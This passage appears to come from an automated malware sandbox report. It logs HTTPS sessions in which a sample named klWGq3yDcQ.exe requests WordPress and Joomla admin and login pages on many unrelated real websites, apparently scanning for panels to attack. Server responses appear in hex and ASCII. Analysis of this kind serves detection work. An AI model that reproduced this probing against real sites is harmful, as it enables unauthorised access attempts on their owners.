r=t.split("."
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 63 6f 6e Data Ascii: w new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e){try{con
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f Data Ascii: ument,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator instanceo
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 74 20 65 3d 61 72 67 75 Data Ascii: 3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){let e=argu
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 65 78 74 3a 70 2c 62 75 Data Ascii: gth;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,context:p,bu
2023-11-26 05:59:36 UTC	1369	IN	Data Raw: 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e Data Ascii: ,get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&argumen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	59051	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:36 UTC	313	OUT	GET /administrator/ HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip Cookie: pbid=172ff377aa4b3bde11e2a50383ed15a74ccd93833e8072198de1d3f5028def60 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://mydirectlender.com/administrator/
2023-11-26 05:59:36 UTC	511	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 74 72 61 6e 73 66 65 72 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://mydirectlender.com/wp-json/>; rel="https://api.w.org/"transfer
2023-11-26 05:59:36 UTC	857	IN	Data Raw: 38 64 65 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 Data Ascii: 8de5<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='noindex, nofollow'
2023-11-26 05:59:36 UTC	14994	IN	Data Raw: 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 69 72 65 63 74 20 4c 65 6e 64 65 72 73 2c 20 4c 4c 43 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 65 22 3a 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 3f 73 3d 7b 73 65 61 72 63 68 Data Ascii: aging for MyDirectLender.com","description":"Direct Lenders, LLC","publisher":{"@id":"https://mydirectlender.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://mydirectlender.com/?s={search
2023-11-26 05:59:36 UTC	16384	IN	Data Raw: 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 78 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 Data Ascii: mall-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-s
2023-11-26 05:59:36 UTC	4098	IN	Data Raw: 2d 73 69 64 65 62 61 72 20 63 6f 6c 2d 6d 64 2d 33 20 63 6f 6c 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 65 61 72 63 68 2d 31 22 20 63 6c 61 73 73 3d 22 77 69 64 67 65 74 20 77 69 64 67 65 74 5f 73 65 61 72 63 68 22 3e 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 22 3e 0a 09 09 09 09 3c 64 69 76 3e 0a 09 09 09 09 09 3c 6c 61 62 65 6c 20 63 6c 61 73 73 3d 22 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 74 65 78 74 22 20 66 6f 72 3d 22 73 22 3e Data Ascii: -sidebar col-md-3 col-12"> <div id="search-1" class="widget widget_search"><form role="search" method="get" id="searchform" class="searchform" action="https://mydirectlender.com/"><div><label class="screen-reader-text" for="s">
2023-11-26 05:59:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	59246	104.200.30.31	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	221	OUT	GET /wp-admin/ HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://edgewater.group/wp-login.php
2023-11-26 05:59:37 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:37 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	59223	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	378	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Ftradeavenida.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=CCSTuNw27vjAGhe0LambVrEDd4CnmWBK1UKexrI2tUk-1700978372739-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://tradeavenida.com/wp-login.php
2023-11-26 05:59:37 UTC	227	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 62 66 65 38 30 62 65 61 35 65 32 30 61 35 2d 49 41 44 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: MISSServer: cloudflareCF-RAY: 82bfe80bea5e20a5-IAD
2023-11-26 05:59:37 UTC	89	IN	Data Raw: 35 33 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 53<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
2023-11-26 05:59:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	59345	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	297	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://lumaruniformes.com/wp-login.php
2023-11-26 05:59:37 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:37 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	59286	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	237	OUT	GET /administrator/index.php HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.grantstech.io/administrator/
2023-11-26 05:59:37 UTC	365	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 33 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 335Connection: closeLocation: http://www.grantstech.io/administrator/index.phpCache-Control: max-age=0Expires: Sun, 2
2023-11-26 05:59:37 UTC	335	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/administrator/index.php">here</a>.</p><hr><address>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	59197	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	312	OUT	GET /administrator/index.php HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip Cookie: ff59ae34f86788aafc83adbd6fbb16ab=573a080441b430e46540f849b8105044 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.maxiv.lu.se/administrator/
2023-11-26 05:59:38 UTC	414	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:37 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; r
